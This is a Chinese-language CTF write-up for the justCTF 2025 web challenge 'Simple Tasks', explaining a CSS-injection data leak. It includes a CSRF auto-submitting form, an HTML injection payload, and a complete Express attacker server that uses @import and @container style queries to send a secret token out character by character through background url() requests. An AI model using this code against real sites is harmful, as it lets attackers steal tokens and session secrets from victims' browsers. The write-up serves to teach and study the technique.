css leak -- justctf 2025 Simple Tasks

from表单,会默认携带同源cookie,我们可以利用这一点让在admi的账号中添加task

js 复制代码
<form id="autoSubmitForm" action="http://192.168.6.133/tasks/0" method="post">
  <input name="content" value="示例数据">
</form>

<script>
	document.getElementById("autoSubmitForm").submit();
</script>

CSS 变量(也称为自定义属性)是 CSS 中用于存储可重用值的强大工具,语法简洁且功能灵活。

定义变量

  • 语法: --variable-name: value;
  • 位置: 在 CSS 规则块内定义(如 :root、类、ID 等)
  • 命名规则:
    • -- 开头(如 --main-color
    • 区分大小写(--color--Color 不同)
    • 可包含字母、数字、下划线、连字符
  • 作用域:
    • 全局变量:定义在 :root 伪类中(整个文档可用)
    • 局部变量:定义在特定选择器中(仅限该选择器及子元素)
css 复制代码
/* 全局变量 */
:root {
  --primary-color: #3498db;
  --spacing: 20px;
}

/* 局部变量 */
.container {
  --bg-color: #f0f0f0;
}

考虑如下有效负载

html 复制代码
<link rel=stylesheet href=/tasks><link rel=stylesheet href=http://localhost:5000/css/justToken{>}aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{}*{--x:

他将在/task形成如下有效负载

html 复制代码
<html lang="en"><head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Your Tasks</title>
  <style nonce="">
    body {
      font-family: sans-serif;
      background: #fdf6e3;
      text-align: center;
      padding: 2em;
    }

    table {
      margin: 0 auto;
      border-collapse: collapse;
      width: 80%;
    }

    td {
      max-width: 300px;
      padding: 0.5em 1em;
      border-bottom: 1px solid #ccc;
      font-size: 1.2em;
    }

    td.delete {
      width: 20px;
    }
    td.delete button{
      margin: 0;
      padding: 2px 4px;
    }

    td.view {
      width: 100px;
    }

    td pre{
      word-wrap: break-word;
      white-space: pre-wrap;
      text-align: left;
    }

    .btn,
    button {
      font-size: 0.9em;
      padding: 0.5em 0.5em;
      margin-top: 1em;
      cursor: pointer;
      background-color: #eee;
      border: 1px solid #aaa;
    }

    h1 {
      font-size: 2em;
    }
  </style>
</head>

<body>

  <h1>Your Tasks</h1>

  <table>
    
      <tbody><tr>
        <td class="delete">
          <form action="/tasks/delete/0">
            <button type="submit">X</button>
          </form>
        </td>
        <td class="view">
          <form action="/tasks/0" method="GET">
            <button type="submit">View Task</button>
          </form>
        </td>
        <td>
          <pre>&lt;link rel=stylesheet href=/tasks&gt;&lt;link rel=stylesheet href=http://localhost:5000/css/justToken{&gt;}aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{}*{--x:,
justToken{58...</pre>
        </td>
      </tr>
      
  </tbody></table>

  <form method="POST" action="/tasks/create">
    <button class="btn" type="submit">Create New Task</button>
  </form>



</body></html>

当经过,这段代码,其将被加载

html 复制代码
<link rel=stylesheet href=/tasks>
css 复制代码
... {}*{--x:            ← 开始自定义属性声明
...
justToken{58ad2f89269e8b9d216172fa8f2008415d385dd508336d4b}  ← 中间出现的"justToken{...}"
... }                   ← 下一个右大括号结束声明块
  • *{--x: 开启了一个 CSS 自定义属性(custom property)声明。

  • 自定义属性的值语法非常宽松:从冒号后一直吞到同层级遇到的下一个 ;} 为止 ,中间几乎可以包含任意字符(包括成对的 {})。

  • 因为后面恰好出现了 justToken{...},再遇到 } 结束,所以这个"justToken{...}"会被当作 --x 的值 (连同中间的文本一起被吞进去,直到结束的 } 为止)。

结果: 在未被 nosniff 拦截的情况下,这份"HTML-as-CSS"会给你的页面应用一条样式:把自定义属性 --x 设为一段包含 justToken{...} 的字符串。自定义属性会参与层叠,你可以在同源页面里读取它getComputedStyle 对跨域样式的"影响"是可见的)。

接下来这里的将会与后端有效负载交互引入

html 复制代码
<link rel=stylesheet href=http://localhost:5000/css/justToken{>
js 复制代码
app.get('/css/:flag', (req, res) => {
  res.set('content-type', 'text/css');
  // let css = fs.readFileSync(__dirname + '/leak.css') // 这里注释掉了
  let css = '';
  let imports = '';

  // 生成 16*16 组合的 @import 和 @container
  for(let i=0; i<16; i++){
    for(let j=0; j<16; j++){
      const f = req.params.flag + charset[i] + charset[j];
      imports += `@import "/var/${i}_${j}?flag=${f}";`;
      css += containerTpl(f, `${i}_${j}`);
    }
  }
  // 生成单字符的 @import 和 @container
  [...charset].forEach((c, i) => {
    const f = req.params.flag + c;
    imports += `@import "/var/${i}?flag=${f}";`;
    css += containerTpl(f, i);
  })

  res.send(imports + css);
});

// 返回带有 CSS 变量的样式
app.get('/var/:id', (req, res)=>{
  res.set('content-type', 'text/css');
  res.send(variableTpl(req.query.flag, req.params.id));
});

服务器的返回如下

css 复制代码
@import "/var/0_0?flag=justToken{00";@import "/var/0_1?flag=justToken{01";@import "/var/0_2?flag=justToken{02";@import .....
@container style(--x:var(--y0_0)){
  body{
    background: red url('/leak/justToken{00');
  }
}
@container style(--x:var(--y0_1)){
  body{
    background: red url('/leak/justToken{01');
  }
}......

import负责发送到 /var/:id 其返回如下

css 复制代码
*{--y5_11:,
justToken{5b...</pre>
        </td>
      </tr>
      
  </table>

  <form method="POST" action="/tasks/create">
    <button class="btn" type="submit">Create New Task</button>
  </form>

</body>

</html>

理解 @import@container 这两个 CSS 规则及其在攻击中的作用至关重要。

1. @import - CSS 导入规则

基本功能

用于在 CSS 文件中导入外部样式表

标准语法

css 复制代码
@import url("style.css");
@import "print.css" print; /* 媒体查询 */

在攻击中的作用

css 复制代码
@import "/var/0_0?flag=justToken{00";
  1. 强制浏览器发起请求

    • 浏览器解析 CSS 时会自动请求所有 @import 资源
    • 本例中向 /var/0_0?flag=justToken{00 发起 GET 请求
  2. 传递敏感数据

    • 通过 URL 参数 flag=justToken{00 将测试的 flag 片段发送到服务器
    • 服务器根据这个参数决定是否设置 CSS 变量
  3. 大规模探测

    • 256 个双字符组合 + 16 个单字符组合 = 272 个请求
    • 覆盖所有可能的字符组合(如十六进制字符 00-ff)

2. @container - CSS 容器查询

基本功能

根据元素容器的尺寸/样式应用条件样式(类似媒体查询但针对元素而非视口)

标准语法

css 复制代码
.component {
  container-type: inline-size;
}

@container (min-width: 600px) {
  .child { font-size: 2rem; }
}

在攻击中的特殊用法

css 复制代码
@container style(--x:var(--y0_0)) {
  body {
    background: red url('/leak/justToken{00');
  }
}
  1. 样式查询

    • style(--x:var(--y0_0))最近的容器元素 上的CSS变量--x的值等于另一个变量--y0_0的值时,会触发内部的样式规则。(检查是否与/var/:id返回内容一致)
    • 这是 CSS Containment Level 3 规范中的实验性特性
  2. 条件触发机制

    • 仅当 --y0_0 变量被定义时(由 /var 路由设置)
    • 才会应用内部的 background 样式
  3. 数据泄露通道

    css 复制代码
    background: red url('/leak/justToken{00');
    • red 提供视觉反馈(辅助调试)
    • url() 触发图片加载请求,泄露完整测试字符串

根据此原理可逐字泄露
来自官方的完整脚本如下

Simple Notes | justCTF2025

js 复制代码
const express = require('express');

const app = express();
const PORT = 5000;

// 十六进制字符集
const charset = '0123456789abcdef'
// expr 用于生成 flag 相关的 HTML 片段
const expr = flag => `,\n${flag}...</pre>\n        </td>\n      </tr>\n      \n  </table>\n\n  <form method=\"POST\" action=\"/tasks/create\">\n    <button class=\"btn\" type=\"submit\">Create New Task</button>\n  </form>\n\n</body>\n\n</html>`;

// variableTpl 用于生成带有 CSS 变量的样式
const variableTpl = (flag, i=0) => `*{--y${i}:${expr(flag)}`;
// containerTpl 用于生成 @container 规则,触发 background 请求
const containerTpl = (flag, i=0) => `@container style(--x:var(--y${i})){
  body{
    background: red url('/leak/${flag}');
  }
}\n`;

// 结果存储类,用于管理每个请求的结果和异步通知
class Results{
  constructor(){
    this.map = new Map();
  }

  // 获取对应请求的结果对象,如果不存在则新建
  get(req){
    let r = this.map.get(Results.fingerPrint(req));
    if(!r){
      this.add(req);
      r = this.map.get(Results.fingerPrint(req));
    }
    return r;
  }

  // 新增一个请求的结果对象,包含异步通知机制
  add(req){
    let resolve;
    const promise = new Promise(r=>resolve=r);
    this.map.set(Results.fingerPrint(req), {
      results: [],
      update: {promise, resolve}
    });
  }

  // 添加结果,并触发异步通知
  addResult(req, value){
    const r = this.get(req);

    r.results.push(value); // 修复了 bug
    r.update.resolve(value);
  }

  // 清除并重置异步通知
  clearUpdate(req){
    let resolve;
    const promise = new Promise(r=>resolve=r);
    const r = this.get(req);
    r.update = {promise, resolve};
  }
  
  // 生成请求的唯一指纹(IP+UA)
  static fingerPrint(req){
    return [req.ip, req.headers['user-agent']].join('@#$%^&*(');
  }
}

// 全局结果数据库
const resultsDb = new Results;

// 生成动态 CSS,包含大量 @import 和 @container 规则
app.get('/css/:flag', (req, res) => {
  res.set('content-type', 'text/css');
  // let css = fs.readFileSync(__dirname + '/leak.css') // 这里注释掉了
  let css = '';
  let imports = '';

  // 生成 16*16 组合的 @import 和 @container
  for(let i=0; i<16; i++){
    for(let j=0; j<16; j++){
      const f = req.params.flag + charset[i] + charset[j];
      imports += `@import "/var/${i}_${j}?flag=${f}";`;
      css += containerTpl(f, `${i}_${j}`);
    }
  }
  // 生成单字符的 @import 和 @container
  [...charset].forEach((c, i) => {
    const f = req.params.flag + c;
    imports += `@import "/var/${i}?flag=${f}";`;
    css += containerTpl(f, i);
  })

  res.send(imports + css);
});

// 返回带有 CSS 变量的样式
app.get('/var/:id', (req, res)=>{
  res.set('content-type', 'text/css');
  res.send(variableTpl(req.query.flag, req.params.id));
});

// 被 background 请求时,记录 flag 并响应
app.get('/leak/:flag', (req, res) =>{
  resultsDb.addResult(req, req.params.flag);
  console.log(req.params.flag)
  res.send('ok');
})

// 提供 exploit 页面
app.get('/exploit', (req, res) => {
  console.log('visit');
  res.sendFile(__dirname + '/solve.html');
});

// 轮询接口,等待异步结果
app.get('/poll', async (req, res) => {
  const r = resultsDb.get(req);
  const result = await r.update.promise;
  resultsDb.clearUpdate(req);
  res.send(result);
});

// 启动服务
app.listen(PORT, () => console.log(`Server running on http://localhost:${PORT}`));
相关推荐
崔庆才丨静觅15 小时前
hCaptcha 验证码图像识别 API 对接教程
前端
passerby606116 小时前
完成前端时间处理的另一块版图
前端·github·web components
掘了16 小时前
「2025 年终总结」在所有失去的人中,我最怀念我自己
前端·后端·年终总结
崔庆才丨静觅16 小时前
实用免费的 Short URL 短链接 API 对接说明
前端
崔庆才丨静觅16 小时前
5分钟快速搭建 AI 平台并用它赚钱!
前端
崔庆才丨静觅16 小时前
比官方便宜一半以上!Midjourney API 申请及使用
前端
Moment17 小时前
富文本编辑器在 AI 时代为什么这么受欢迎
前端·javascript·后端
崔庆才丨静觅17 小时前
刷屏全网的“nano-banana”API接入指南!0.1元/张量产高清创意图,开发者必藏
前端
剪刀石头布啊17 小时前
jwt介绍
前端
爱敲代码的小鱼17 小时前
AJAX(异步交互的技术来实现从服务端中获取数据):
前端·javascript·ajax